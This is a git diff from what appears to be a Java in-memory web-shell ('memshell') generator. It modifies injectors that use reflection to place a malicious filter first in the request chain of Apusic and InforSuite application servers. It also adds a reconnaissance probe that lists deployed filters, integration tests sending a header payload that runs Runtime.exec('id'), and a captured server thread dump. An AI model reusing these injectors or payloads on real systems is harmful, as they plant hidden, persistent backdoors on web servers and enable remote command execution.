diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java index 0dc74a7e..6532a78b 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java @@ -8,6 +8,7 @@ import java.lang.reflect.Array; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.HashSet; +import java.util.LinkedHashSet; import java.util.Map; import java.util.Set; import java.util.zip.GZIPInputStream; @@ -145,7 +146,12 @@ public class ApusicFilterInjector { Object filterMapping = filterMappingClass.newInstance(); invokeMethod(filterMapping, "setUrlPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()}); - invokeMethod(webModule, "addBeforeFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping}); + LinkedHashSet beforeFilterMappings = (LinkedHashSet) getFieldValue(webModule, "beforeFilterMappings"); + LinkedHashSet newSet = new LinkedHashSet(); + newSet.add(filterMapping); + newSet.addAll(beforeFilterMappings); + beforeFilterMappings.clear(); + beforeFilterMappings.addAll(newSet); // addFilterModel invokeMethod(webModule, "addFilter", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()}); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java index 0de8cf4a..65b9b860 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java @@ -4,11 +4,11 @@ import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.PrintStream; +import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.*; -import java.util.logging.Logger; import java.util.zip.GZIPInputStream; /** @@ -128,17 +128,28 @@ public class InforSuiteFilterInjector { } ClassLoader contextClassLoader = context.getClass().getClassLoader(); Object filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance(); - Object filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance(); + Class filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap"); + Object filterMap = filterMapClass.newInstance(); invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()}); invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); + // addFilterMapFirst try { - invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); + Object filterMaps = getFieldValue(context, "filterMaps"); + if (filterMaps instanceof List) { + // InforSuite9 + ((List) filterMaps).add(0, filterMap); + } } catch (Exception e) { - invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); + // InforSuite10 + Object[] iasFilterMaps = (Object[]) getFieldValue(getFieldValue(context, "iasFilterMaps"), "array"); + Object[] results = (Object[]) Array.newInstance(filterMapClass, iasFilterMaps.length + 1); + results[0] = filterMap; + System.arraycopy(iasFilterMaps, 0, results, 1, iasFilterMaps.length); + setFieldValue(getFieldValue(context, "iasFilterMaps"), "array", results); } Constructor[] constructors =contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); @@ -192,25 +203,32 @@ public class InforSuiteFilterInjector { } @SuppressWarnings("all") - public static Object getFieldValue(Object obj, String fieldName) throws Exception { - Field field = getField(obj, fieldName); + public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + for (Class clazz = obj.getClass(); + clazz != Object.class; + clazz = clazz.getSuperclass()) { + try { + return clazz.getDeclaredField(name); + } catch (NoSuchFieldException ignored) { + + } + } + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } + + +@SuppressWarnings("all") +public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + Field field = getField(obj, name); field.setAccessible(true); return field.get(obj); } - @SuppressWarnings("all") - public static Field getField(Object obj, String fieldName) throws NoSuchFieldException { - Class clazz = obj.getClass(); - while (clazz != null) { - try { - Field field = clazz.getDeclaredField(fieldName); - field.setAccessible(true); - return field; - } catch (NoSuchFieldException e) { - clazz = clazz.getSuperclass(); - } - } - throw new NoSuchFieldException(fieldName); + +public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { + Field field = getField(obj, fieldName); + field.setAccessible(true); + field.set(obj, value); } @SuppressWarnings("all") diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/ApusicFilterProbe.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/ApusicFilterProbe.java new file mode 100644 index 00000000..230b1b39 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/ApusicFilterProbe.java @@ -0,0 +1,216 @@ +package com.reajason.javaweb.probe.payload.filter; + +import java.io.ByteArrayOutputStream; +import java.io.PrintStream; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.*; + +/** + * @author ReaJason + */ +public class ApusicFilterProbe { + + @Override + public String toString() { + String msg = ""; + Map>> allFiltersData = new LinkedHashMap>>(); + Set contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts == null || contexts.isEmpty()) { + msg += "context not found\n"; + } else { + for (Object context : contexts) { + String contextRoot = getContextRoot(context); + List> filters = collectFiltersData(context); + allFiltersData.put(contextRoot, filters); + } + msg += formatFiltersData(allFiltersData); + } + return msg; + } + + @SuppressWarnings("all") + private List> collectFiltersData(Object context) { + Map> aggregatedData = new LinkedHashMap<>(); + + try { + Object webModule = getFieldValue(context, "webapp"); + if (webModule == null) { + return Collections.emptyList(); + } + + Object[] filterMappings = (Object[]) invokeMethod(webModule, "getAllFilterMappings"); + if (filterMappings == null || filterMappings.length == 0) { + return Collections.emptyList(); + } + + Object[] filters = (Object[]) invokeMethod(webModule, "getFilterList"); + Map filterClassMap = new HashMap<>(); + if (filters != null) { + for (Object filter : filters) { + String name = (String) invokeMethod(filter, "getName"); + String className = (String) invokeMethod(filter, "getFilterClass"); + if (name != null && className != null) { + filterClassMap.put(name, className); + } + } + } + + for (Object fm : filterMappings) { + String name = (String) invokeMethod(fm, "getFilterName"); + if (name == null) { + continue; + } + if (!aggregatedData.containsKey(name)) { + Map info = new HashMap<>(); + info.put("filterName", name); + info.put("filterClass", filterClassMap.getOrDefault(name, "N/A")); + info.put("urlPatterns", new LinkedHashSet()); + aggregatedData.put(name, info); + } + Map info = aggregatedData.get(name); + String urlPattern = (String) invokeMethod(fm, "getUrlPattern"); + if (urlPattern != null) { + ((Set) info.get("urlPatterns")).add(urlPattern); + } + } + } catch (Exception ignored) { + } + + List> result = new ArrayList<>(); + for (Map entry : aggregatedData.values()) { + Map finalInfo = new HashMap<>(); + finalInfo.put("filterName", (String) entry.get("filterName")); + finalInfo.put("filterClass", (String) entry.get("filterClass")); + Set urls = (Set) entry.get("urlPatterns"); + finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString()); + result.add(finalInfo); + } + return result; + } + + @SuppressWarnings("all") + private String formatFiltersData(Map>> allFiltersData) { + StringBuilder output = new StringBuilder(); + for (Map.Entry>> entry : allFiltersData.entrySet()) { + String context = entry.getKey(); + List> filters = entry.getValue(); + output.append("Context: ").append(context).append("\n"); + if (filters.isEmpty()) { + output.append("No filters found\n"); + } else { + for (Map info : filters) { + appendIfPresent(output, "", info.get("filterName"), ""); + appendIfPresent(output, " -> ", info.get("filterClass"), ""); + appendIfPresent(output, " -> URL:", info.get("urlPatterns"), ""); + output.append("\n"); + } + } + } + return output.toString(); + } + + private void appendIfPresent(StringBuilder sb, String prefix, String value, String suffix) { + if (value != null && !value.isEmpty()) { + sb.append(prefix).append(value).append(suffix); + } + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(context, "getContextPath"); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + + /** + * context: com.apusic.web.container.WebContainer + * context - webapp: com.apusic.deploy.runtime.WebModule + * /usr/local/ass/lib/apusic.jar + */ + public Set getContext() throws Exception { + Set contexts = new HashSet(); + Set threads = Thread.getAllStackTraces().keySet(); + for (Thread thread : threads) { + if (thread.getName().contains("HouseKeeper")) { + // Apusic 9.0 SPX + Object sessionManager = getFieldValue(thread, "this$0"); + contexts.add(getFieldValue(sessionManager, "container")); + } else if (thread.getName().contains("HTTPSession")) { + // Apusic 9.0.1 + Object sessionManager = getFieldValue(thread, "this$0"); + Map contextMap = ((Map) getFieldValue(getFieldValue(sessionManager, "vhost"), "contexts")); + contexts.addAll(contextMap.values()); + } + } + return contexts; + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String fieldName) throws Exception { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName + " for " + obj.getClass().getName()); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName) { + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + method = clazz.getDeclaredMethod(methodName); + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj); + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + methodName, e); + } + } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/GlassFishFilterProbe.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/GlassFishFilterProbe.java index e0f2a5d1..a9e7b28f 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/GlassFishFilterProbe.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/GlassFishFilterProbe.java @@ -41,8 +41,6 @@ public class GlassFishFilterProbe { if (filterMaps == null || filterMaps.isEmpty()) return Collections.emptyList(); Object[] filterDefs = (Object[]) invokeMethod(context, "findFilterDefs"); - Map filterConfigs = (Map) getFieldValue(context, "filterConfigs"); - for (Object fm : filterMaps) { String name = (String) invokeMethod(fm, "getFilterName"); if (name == null) continue; @@ -52,8 +50,8 @@ public class GlassFishFilterProbe { for (Object def : filterDefs) { if (!name.equals(invokeMethod(def, "getFilterName"))) continue; Class cls = (Class) invokeMethod(def, "getFilterClass"); - if (cls == null && filterConfigs != null) { - Object config = filterConfigs.get(name); + if (cls == null) { + Object config = invokeMethod(context, "findFilterConfig", new Class[]{String.class}, new Object[]{name}); Object filter = config != null ? invokeMethod(config, "getFilter") : null; if (filter != null) filterClass = filter.getClass().getName(); } @@ -74,7 +72,7 @@ public class GlassFishFilterProbe { urls = (String[]) invokeMethod(fm, "getURLPatterns"); } catch (Exception e) { try { - Object urlPattern = getFieldValue(fm, "urlPattern"); + Object urlPattern = invokeMethod(fm, "getURLPattern"); if (urlPattern instanceof String) { urls = new String[] { (String) urlPattern }; } @@ -171,10 +169,12 @@ public class GlassFishFilterProbe { return contexts; } - @SuppressWarnings("all") public static Object invokeMethod(Object obj, String methodName) { - Class[] paramClazz = null; - Object[] param = null; + return invokeMethod(obj, methodName, null, null); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { try { Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); Method method = null; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ProbeAssertion.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ProbeAssertion.java index 887188ed..fb6f7037 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ProbeAssertion.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ProbeAssertion.java @@ -47,6 +47,7 @@ public class ProbeAssertion { .build(); Request request = new Request.Builder() .header("Content-Type", "application/x-www-form-urlencoded") + .header("Referer", url) .url(url + "/biginteger").post(requestBody) .build(); try (Response response = new OkHttpClient().newCall(request).execute()) { @@ -76,6 +77,7 @@ public class ProbeAssertion { .build(); Request request = new Request.Builder() .header("Content-Type", "application/x-www-form-urlencoded") + .header("Referer", url) .url(url + "/biginteger").post(requestBody) .build(); try (Response response = new OkHttpClient().newCall(request).execute()) { @@ -105,6 +107,7 @@ public class ProbeAssertion { Request request = new Request.Builder() .header("Content-Type", "application/x-www-form-urlencoded") .header(headerName, "id") + .header("Referer", url) .url(url + "/biginteger").post(requestBody) .build(); try (Response response = new OkHttpClient().newCall(request).execute()) { @@ -135,6 +138,7 @@ public class ProbeAssertion { .build(); Request request = new Request.Builder() .header("Content-Type", "application/x-www-form-urlencoded") + .header("Referer", url) .header(headerName, "new java.util.Scanner(java.lang.Runtime.getRuntime().exec('id').getInputStream()).useDelimiter('\\A').next()") .url(url + "/biginteger").post(requestBody) .build(); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/DetectionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/DetectionTool.java index 000918af..bf3a69b1 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/DetectionTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/DetectionTool.java @@ -54,4 +54,8 @@ public class DetectionTool { public static String getGlassFishFilterProbe() { return getBase64Class(GlassFishFilterProbe.class); } + + public static String getApusicFilterProbe() { + return getBase64Class(ApusicFilterProbe.class); + } } diff --git a/integration-test/src/test/resources/infos/Apusic901ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Apusic901ContainerTestBasicInfo.txt new file mode 100644 index 00000000..5b014f52 --- /dev/null +++ b/integration-test/src/test/resources/infos/Apusic901ContainerTestBasicInfo.txt @@ -0,0 +1,321 @@ +# Generated At 2026-01-09 09:41:57 +SystemProps: +java.vendor: Temurin +sun.java.launcher: SUN_STANDARD +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +os.name: Linux +sun.boot.class.path: /usr/local/ass/lib/endorsed/javax-annotations-api.jar:/opt/java/openjdk/jre/lib/resources.jar:/opt/java/openjdk/jre/lib/rt.jar:/opt/java/openjdk/jre/lib/sunrsasign.jar:/opt/java/openjdk/jre/lib/jsse.jar:/opt/java/openjdk/jre/lib/jce.jar:/opt/java/openjdk/jre/lib/charsets.jar:/opt/java/openjdk/jre/lib/jfr.jar:/opt/java/openjdk/jre/classes +javax.security.jacc.PolicyConfigurationFactory.provider: com.apusic.security.jacc.PolicyConfigurationFactoryImpl +com.apusic.home: /usr/local/ass +apusic.http.disabledMethods: DELETE,PUT,TRACE,OPTIONS +java.vm.specification.vendor: Oracle Corporation +java.runtime.version: 1.8.0_472-b08 +user.name: root +apusic.prefer.war.classes.include: +com.apusic.domain.home: /usr/local/ass/domains/server1 +user.language: en +sun.boot.library.path: /opt/java/openjdk/jre/lib/amd64 +jmx.invoke.getters: true +java.version: 1.8.0_472 +apusic.http.status.forbiddenToNotFound: true +java.util.logging.manager: com.apusic.logging.manager.ServerLogManager +user.timezone: Etc/UTC +java.net.preferIPv4Stack: true +com.apusic.invocation.InheritContext: false +sun.arch.data.model: 64 +javax.persistence.spi.PersistenceProvider: org.eclipse.persistence.jpa.PersistenceProvider +java.endorsed.dirs: /usr/local/ass/lib/endorsed +sun.cpu.isalist: +sun.jnu.encoding: UTF-8 +file.encoding.pkg: sun.io +file.separator: / +java.specification.name: Java Platform API Specification +apusic.async.servlet.multi.request.event: true +java.class.version: 52.0 +user.country: US +java.home: /opt/java/openjdk/jre +apusic.prefer.war.classes.exclude: java.,javax.,org.w3c.,org.xml.,com.sun.faces. +apusic.prefer.war.classes: true +java.vm.info: mixed mode +os.version: 6.8.0-90-generic +org.omg.CORBA.ORBSingletonClass: com.apusic.corba.ee.impl.orb.ORBSingleton +path.separator: : +java.vm.version: 25.472-b08 +java.awt.printerjob: sun.print.PSPrinterJob +apusic.component.invocation.naming.local.optimize: true +sun.io.unicode.encoding: UnicodeLittle +java.specification.maintenance.version: 6 +awt.toolkit: sun.awt.X11.XToolkit +apusic.web.listener.reload: true +user.home: /root +java.specification.vendor: Oracle Corporation +java.library.path: /usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib +java.vendor.url: https://adoptium.net/ +com.apusic.timerpool.size: 5 +java.vm.vendor: Temurin +java.runtime.name: OpenJDK Runtime Environment +sun.java.command: com.apusic.server.Main -root /usr/local/ass +java.class.path: .:/usr/local/ass/classes:/usr/local/ass/sp/*.jar:/usr/local/ass/common/elite-api.jar:/usr/local/ass/common/javaee.jar:/usr/local/ass/common/operamasks-api.jar:/usr/local/ass/lib/apusic-client.jar:/usr/local/ass/lib/apusic-embed.jar:/usr/local/ass/lib/apusic-jms.jar:/usr/local/ass/lib/apusic-ws.jar:/usr/local/ass/lib/apusic.jar:/usr/local/ass/lib/deploy.jar:/usr/local/ass/lib/elite-api.jar:/usr/local/ass/lib/elite.jar:/usr/local/ass/lib/firststep.jar:/usr/local/ass/lib/jasper-jdt.jar:/usr/local/ass/lib/mejb.jar:/usr/local/ass/lib/operamasks-comp.jar:/usr/local/ass/lib/operamasks-core.jar:/usr/local/ass/lib/razor.jar:/usr/local/ass/lib/*.zip:/usr/local/ass/lib/ext/bcprov-jdk15-1.46.jar:/usr/local/ass/lib/ext/cal10n-api-0.7.7.jar:/usr/local/ass/lib/ext/classmate-0.8.0.jar:/usr/local/ass/lib/ext/commonj.sdo-2.1.1.jar:/usr/local/ass/lib/ext/commons-io-2.2.jar:/usr/local/ass/lib/ext/derby-10.6.1.0.jar:/usr/local/ass/lib/ext/derbyclient-10.6.1.0.jar:/usr/local/ass/lib/ext/dsn-1.4.4.jar:/usr/local/ass/lib/ext/eclipselink-2.4.2.jar:/usr/local/ass/lib/ext/guava-13.0.1.jar:/usr/local/ass/lib/ext/hibernate-validator-5.0.1.Final.jar:/usr/local/ass/lib/ext/javassist-3.12.1.GA.jar:/usr/local/ass/lib/ext/javax.mail-1.4.4.jar:/usr/local/ass/lib/ext/javax.persistence-2.0.5.jar:/usr/local/ass/lib/ext/jaxb-impl-2.2.4.jar:/usr/local/ass/lib/ext/jaxb-xjc-2.2.4.jar:/usr/local/ass/lib/ext/jaxr-impl-1.0.8.jar:/usr/local/ass/lib/ext/jboss-classfilewriter-1.0.4.Final.jar:/usr/local/ass/lib/ext/jboss-logging-3.1.1.GA.jar:/usr/local/ass/lib/ext/jcip-annotations-1.0.jar:/usr/local/ass/lib/ext/je-4.0.92.jar:/usr/local/ass/lib/ext/jettison-1.3.1.jar:/usr/local/ass/lib/ext/jgroups-all.jar:/usr/local/ass/lib/ext/jhall.jar:/usr/local/ass/lib/ext/jmxremote_optional-1.0_01-ea.jar:/usr/local/ass/lib/ext/jstl-1.2.jar:/usr/local/ass/lib/ext/ldapjdk.jar:/usr/local/ass/lib/ext/ldapsp.jar:/usr/local/ass/lib/ext/mx4j-tools-3.0.1.jar:/usr/local/ass/lib/ext/resteasy-jaxb-provider-2.3.6.Final.jar:/usr/local/ass/lib/ext/resteasy-jaxrs-2.3.6.Final.jar:/usr/local/ass/lib/ext/resteasy-jettison-provider-2.3.6.Final.jar:/usr/local/ass/lib/ext/scannotation-1.0.3.jar:/usr/local/ass/lib/ext/slf4j-api-1.7.2.jar:/usr/local/ass/lib/ext/slf4j-ext-1.7.2.jar:/usr/local/ass/lib/ext/weld-api-2.0.Final.jar:/usr/local/ass/lib/ext/weld-core-2.0.0.Final.jar:/usr/local/ass/lib/ext/weld-spi-2.0.Final.jar:/usr/local/ass/lib/ext/xmemcached-1.3.5.jar:/usr/local/ass/lib/ext/*.zip/usr/local/ass/domains/server1/lib/*.zip:/usr/local/ass/domains/server1/lib/*.jar::/agent.jar +java.vm.specification.name: Java Virtual Machine Specification +apusic.connector.useConcurrentCP: true +java.vm.specification.version: 1.8 +sun.cpu.endian: little +sun.os.patch.level: unknown +java.io.tmpdir: /tmp +com.sun.faces.InjectionProvider: com.apusic.deploy.jsf.ApusicInjectionProvider +java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues +os.arch: amd64 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.ext.dirs: /opt/java/openjdk/jre/lib/ext:/usr/java/packages/lib/ext +user.dir: /usr/local/ass/domains/server1 +com.apusic.net.bio: false +line.separator: + +java.vm.name: OpenJDK 64-Bit Server VM +java.security.auth.login.config: /usr/local/ass/domains/server1/config/auth.cfg +file.encoding: UTF-8 +org.omg.CORBA.ORBClass: com.apusic.corba.ee.impl.orb.ORBImpl +java.specification.version: 1.8 + +=========================================== + +ThreadStacks: +"ApusicTimerThread-1" #12 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2adb506 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.apusic.server.Config$TimerThreadFactory$1.run(Config.java:247) + at java.lang.Thread.run(Thread.java:750) + +"topic: testTopic dispatching thread" #26 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@16b49e2e + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2163) + at com.apusic.mq.queue.LocalQueue$SelfActivation.check(LocalQueue.java:211) + at com.apusic.mq.queue.LocalQueue$SelfActivation.waitReadable(LocalQueue.java:218) + at com.apusic.mq.queue.LocalQueue.waitReadable(LocalQueue.java:269) + at com.apusic.mq.dispatch.WaitForALLAvailable.dispatch(WaitForALLAvailable.java:37) + at com.apusic.mq.dispatch.DispatchList.doDispatch(DispatchList.java:104) + at com.apusic.mq.dispatch.DispatchList.access$200(DispatchList.java:28) + at com.apusic.mq.dispatch.DispatchList$1.iterate(DispatchList.java:146) + at com.apusic.mq.util.DedicatedTaskRunner.runTask(DedicatedTaskRunner.java:79) + at com.apusic.mq.util.DedicatedTaskRunner$1.run(DedicatedTaskRunner.java:17) + +"AutoDeployer" #22 [TIMED_WAITING] on com.apusic.deploy.runtime.AutoDeployer@505399e9 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.apusic.deploy.runtime.AutoDeployer.run(AutoDeployer.java:70) + at java.lang.Thread.run(Thread.java:750) + +"HTTPSessionSwapper" #21 [TIMED_WAITING] on com.apusic.web.session.AbstractSessionManager$HouseKeeper@42e5bbe0 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.apusic.web.session.AbstractSessionManager$HouseKeeper.run(AbstractSessionManager.java:622) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"main" #1 [WAITING] on com.apusic.server.J2EEServer@20d7d6fb + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.apusic.server.J2EEServer.startup(J2EEServer.java:384) + at com.apusic.server.Main.main(Main.java:35) + +"ApusicTimerThread-4" #23 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2adb506 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.apusic.server.Config$TimerThreadFactory$1.run(Config.java:247) + at java.lang.Thread.run(Thread.java:750) + +"MuxListener" #14 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249) + at com.apusic.net.NonBlockingListenerThread.run(NonBlockingListenerThread.java:37) + +"LogManager" #11 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@28c7fe88 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.apusic.logging.manager.ServerLogManager$PushThread.dequeue(ServerLogManager.java:669) + at com.apusic.logging.manager.ServerLogManager$PushThread.run(ServerLogManager.java:688) + +"Running HTTPHandler-1" #31 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1615) + at com.google.gso.tbOkr.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.lang.String.valueOf(String.java:2994) + at java.io.PrintWriter.print(PrintWriter.java:617) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at com.apusic.web.container.ServletComponent.service(ServletComponent.java:87) + at com.apusic.web.container.ServletFilterWrapper.doFilter(ServletFilterWrapper.java:38) + at com.apusic.web.container.FilterChainImpl.doFilter(FilterChainImpl.java:48) + at com.apusic.util.AttackFilter.doFilter(AttackFilter.java:82) + at com.apusic.web.container.FilterComponent.doFilter(FilterComponent.java:65) + at com.apusic.web.container.FilterChainImpl.performFilter(FilterChainImpl.java:38) + at com.apusic.web.container.FilterChainImpl.doFilter(FilterChainImpl.java:45) + at EmptyFilter.doFilter(EmptyFilter.java:21) + at com.apusic.web.container.FilterComponent.doFilter(FilterComponent.java:65) + at com.apusic.web.container.FilterChainImpl.performFilter(FilterChainImpl.java:38) + at com.apusic.web.container.WebContainer.invoke(WebContainer.java:1061) + at com.apusic.web.container.WebContainer.doProcessRequest(WebContainer.java:854) + at com.apusic.web.container.WebContainer.processRequest(WebContainer.java:750) + at com.apusic.web.http.VirtualHost.processRequest(VirtualHost.java:216) + at com.apusic.web.http.HttpServer.processRequest(HttpServer.java:304) + at com.apusic.web.http.HttpConnectionHandler.service(HttpConnectionHandler.java:26) + at com.apusic.web.http.ConnectionHandler.processRequest(ConnectionHandler.java:327) + at com.apusic.web.http.ConnectionHandler.processConnection(ConnectionHandler.java:137) + at com.apusic.web.http.ConnectionHandler.run(ConnectionHandler.java:54) + at com.apusic.util.ThreadPoolImpl$WorkerThread.run(ThreadPoolImpl.java:656) + +"ApusicTimerThread-3" #20 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2adb506 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.apusic.server.Config$TimerThreadFactory$1.run(Config.java:247) + at 